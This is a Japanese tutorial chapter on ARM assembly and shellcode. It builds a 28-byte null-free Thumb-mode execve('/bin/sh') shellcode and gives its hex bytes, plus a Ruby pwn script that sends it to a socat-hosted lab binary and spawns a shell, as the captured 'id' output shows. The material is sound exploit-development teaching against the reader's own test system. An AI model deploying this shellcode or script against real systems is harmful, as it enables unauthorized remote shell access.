1. Crafting Shellcode 🐚

第1章では、Exploitには欠かせないシェルコード作成を通して、ARM アセンブリの基本的な構文や仕組みについて簡単にご説明をします。最後に、実際に作成したシェルコードを用いて、演習問題でシェルを奪取する練習をします。

1.1 ARM アセンブリ基礎

ARM アーキテクチャは、RISC(Reduced Instruction Set Computing))で、ロード/ストアなアーキテクチャです。メモリへのアクセスはレジスタを介したロード、ストア命令のみです。ARM の主要なレジスタには、r0 ~ r15レジスタとcpsrレジスタなどがあります。特にr11 ~ r15ジレスタは特殊な用途に使われるため別名が付けられています。以下にレジスタの概要をまとめます。

レジスタ 概要
r0 関数の戻り値の保存、関数の第1引数に利用
r1 関数の第2引数に利用
r2 関数の第3引数に利用
r3 関数の第4引数に利用
r4 ~ r8 汎用的に利用
r8 汎用的に利用
r9 汎用的に利用
r10 汎用的に利用
r11 フレームポインタ(別名fp)
r12 インストラクションポインタ(別名ip)
r13 スタックポインタ(別名sp)
r14 リンクレジスタ(別名lr)
r15 プログラムカウンタ(別名pc)
cpsr カレントプログラムモードレジスタ

cpsrレジスタはx86のeflagsレジスタのようなものでフラグ管理をしています。特に下位5bit目のフラグは重要な値になっており、ARMモードとThumbモードと呼ばれる2つのモードの状態を示す役割を持っています。ARMモードが基本的なモードです。Thumbモードについては後述します。

ARM アセンブリにはとても多くの命令があります。よく使われる代表的な命令を以下に示します。

命令 動作 命令 動作
MOV 値をコピーする PUSH スタックに値をpushする
MVN 値の2の補数をコピーする POP スタックから値をpopする
ADD/SUB 加算/減算を行う LDR メモリから値をロードする
AND/OR/EOR 論理積/論理和/排他的論理和を行う STR メモリに値をストアする
LSL/LSR 論理左/右シフトを行う B 制御を無条件に移す
ASR 算術右シフトを行う BL 次の命令のアドレスをlrレジスタに格納し、制御を移す
CMP 値を比較し、csprレジスタの値を更新する BX 制御を無条件に移す。飛び先のアドレスの末尾1bitによりモードを変更する

実際にARMアセンブリでプログラムを作成してみましょう。Hello を出力するプログラムhello.asm を作成します。様々な命令を紹介するために少し冗長に構築しています。ご存知の通り命令の種類はとても多いので、一部のみ取り扱います。

.text
.global _start
_start:
        eor r0, r0     @ r0 = 0
        add r0, #1     @ r0 += 1
        adr r1, s      @ r1 = &s
        mov r2, #6     @ r2 = 6
        mov r7, #4     @ r7 = 4
        svc 0          @ write(1, &s, 6)
        eor r0, r0     @ r0 = 0
        add r7, r0, #1 @ r7 = 1
        svc 0          @ exit(0)
s:
  .asciz "Hello\n"

各行の命令について補足していきます。eor 命令は、xorを行う命令です。引数に同じr0 レジスタを取っているため0初期化していることがわかります。add 命令は、加算を行う命令です。2番目のオペランドは、即値を表しています。したがって本命令は、r0にr0+1を代入する命令になっています。adr 命令は、ラベルのアドレスを第1オペランドに代入する用途で使っています。mov 命令は、値を代入する命令です。svc 命令は、システムコールを発行する命令です。システムコールを直接呼ぶ場合は、r7レジスタにシステムコール番号、r0 ~ r6レジスタに引数をセットして、svc 命令を実行します。また、戻り値はr0レジスタにセットされます。また、svc 命令のオペランドは基本的に無視されます。ここでは、r7 レジスタに4が入っているためwrite システムコールを発行し、Hello\n を出力します。その後の3命令はもう読み解けるでしょう。システムコール番号を調べる際には、ausyscall コマンドが便利です。以下のようにシステムコール名を与えることで、システムコール番号を表示してくれます。

$ ausyscall write
write              4
writev             146
pwrite64           181
pciconfig_write    273
pwritev            362
process_vm_writev  377
pwritev2           393

また、本コードから実行ファイルを作成する際には、以下のようにasld コマンドを用います。実行すると前述した通り文字列を表示して終了します。

$ as hello.asm -o hello.o
$ ld hello.o -o hello
$ ./hello
Hello

Thumb モード

ARMには、通常のARMモードとThumbモードの2つのモードが存在します。以下に主な違いを示します。

観点 ARM モード Thumb モード
命令語の長さ 4 byte 2 byte
扱える汎用レジスタの数 16個 8個

ARM モードとThumb モードの切り替えには、BX 命令とBLX 命令が利用されます。BX r0 のようにレジスタ指定で制御が移る場合は、レジスタの中身が偶数であればARM モード、奇数であればThumb モードに切り替わります。よくある例として、add r3, pc, #1; bx r3 を実行すると、r3 レジスタには、pc+1の奇数のアドレスが格納され、そのアドレスに対してジャンプするため、元がARM モードの場合はThumb モードに切り替わります。

Exploit開発においては、Thumbモードは命令語の長さが短いため、長さ制限などがある場合にはとても便利です。

1.2 シェルコード作成

最も代表的なシェルコードは、execve("/bin/sh", NULL, NULL) を実行することです。これをリモート側のサーバ上で実行することで、リモートサーバのシェルを奪取することができます。ARM では execve システムコールの番号は、11となっています。そのため、r7 レジスタには11を設定する必要があります。引数にはr0レジスタに/bin/sh のアドレス、r1レジスタとr2レジスタには0を設定する必要があります。この状態で、svc 命令を実行することでシェルを起動することができます。以下にシェルコードの例を示します。

.text
.global _start

_start:
        .code 32
        add r3, pc, #1
        bx r3

        .code 16
        adr r0, s
        mov r7, #11
        eor r1, r1
        eor r2, r2
        strb r2, [r0, #7]
        svc #1
s:      .asciz "/bin/shA"

ここでは、Thumbモードも用いてバイト数を削る試みもしています。bx r3 でジャンプする際にadr r0, s のアドレス+1した値に飛ぼうとしてます(ARMではPCは実行中の命令+8を指す)。これによりadr r0, s からはThumb モードで実行されます。文字列s では、末尾にAが余分についています。本来であればNULL終端をさせたいところですが、Buffer Overflowを招く代表的なstrcpy関数などでは、NULL終端してしまいます。そのため攻撃用のペイロードのコピーが意図しないところで止まる可能性があります。そこで、strb r2, [r0, #7] を使って、文字列s のアドレス+7をしたアドレス(Aのアドレス)に対して、r2ジレスタの値をストアしています。r2 レジスタは、1つ前の命令で0初期化しているため、本処理は、A\x00 に置き換える処理になっています。生の値として\x00 を埋め込むのではなく、コードの実行中に\x00 に置き換えることでNULLが無いシェルコードを実現しています。Exploitに利用する際にはNULLが存在しないシェルコードを利用することが望ましいです。では、実際にアセンブルして実行ファイルを作成し、中身を見てみましょう。

$ as shellcode.asm -o shellcode.o
$ ld shellcode.o -o shellcode.bin
$ objdump -d shellcode.bin

shellcode.bin:     file format elf32-littlearm


Disassembly of section .text:

00010054 <_start>:
   10054:       e28f3001        add     r3, pc, #1
   10058:       e12fff13        bx      r3
   1005c:       a002            add     r0, pc, #8      ; (adr r0, 10068 <s>)
   1005e:       270b            movs    r7, #11
   10060:       4049            eors    r1, r1
   10062:       4052            eors    r2, r2
   10064:       71c2            strb    r2, [r0, #7]
   10066:       df01            svc     1

00010068 <s>:
   10068:       6e69622f        .word   0x6e69622f
   1006c:       4168732f        .word   0x4168732f
   10070:       00              .byte   0x00
   10071:       00              .byte   0x00
   10072:       46c0            nop                     ; (mov r8, r8)

上記の通り、0x1006c までの命令の16進数に00が含まれていないことがわかります。

shellcode.bin は実行できるのですが、正しく実行されずに終了してしまいます。それは、A\x00で置き換える処理において、書き込み権限がないためです。しかしながら、Exploitに組み込み実行する際は、ほとんどの場合シェルコード自体が存在するメモリの書き込み権限はあるため正常に動作します。

1.3 シェルコードを用いたシェル奪取

ここでは他の章でも使っていく演習問題を用いた攻撃環境の構築方法についてご紹介します。ここでは、Raspbian側でsocatを用いてバイナリファイルを特定のポートで待ち受けて、そこへ向けて攻撃していきます。以下のようにして実行します。ここでは、shellcodeという実行ファイルを8888/tcp で待受させます。このファイルは入力を受け取り、それを実行するプログラムになっています。送ったシェルコードがそのまま実行されてしまうとても危険なプログラムです。

$ socat tcp-l:8888,reuseaddr,fork exec:./shellcode

上記を実行後、ホスト環境から接続すると以下のような応答が帰ってくるはずです。

$ nc localhost 8888
Give me a shellcode: 

これで攻撃環境の構築は終了です。次に、実際のExploit コードを作成していきますが、その前に 1.2 シェルコード作成 で作成したシェルコードをスクリプト言語などで扱えるようにします。シェルコードとして抽出する必要があるのは、アセンブリ言語で作成した部分のみなので、以下のようにして取り出します。

$ objcopy -O binary shellcode.bin shellcode_hex.bin
$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode_hex.bin
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x0b\x27\x49\x40\x52\x40\xc2\x71\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x41

8888/tcp と接続して、このシェルコードを送るExploit コードを以下に示します。

#!/usr/bin/env ruby
#coding: ascii-8bit
require 'pwn'

host = 'localhost'
port = 8888
z = Sock.new host, port
z.recvuntil ": "
payload = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x0b\x27\x49\x40\x52\x40\xc2\x71\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x41"
puts "[*] shellcode length: #{payload.length}"
z.sendline payload
z.interact

本コードを実行すると以下のように、Raspbian 内部のシェルを操作できるようになっていることがわかります。また、このシェルコードの長さは、28byteでした。

$ ./solve.rb
[*] shellcode length: 28
[INFO] Switching to interactive mode
id
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),105(input),109(netdev),997(gpio),998(i2c),999(spi)

続く章でも同じような手順で、バイナリを待ち受けて、Exploit コードを実行していきます。

1.4 まとめ

本章では、ARMアセンブリの基本からシェルコードの作成と実行まで幅広く見てきました。ARMアセンブリは、x86と違う点が多く少しむずかしいですが、Exploit をする上ではThumbモードなど重要な要素がとても多く絡んできます。適切に理解することで、他の攻撃手法を正しく理解できるようになると思います。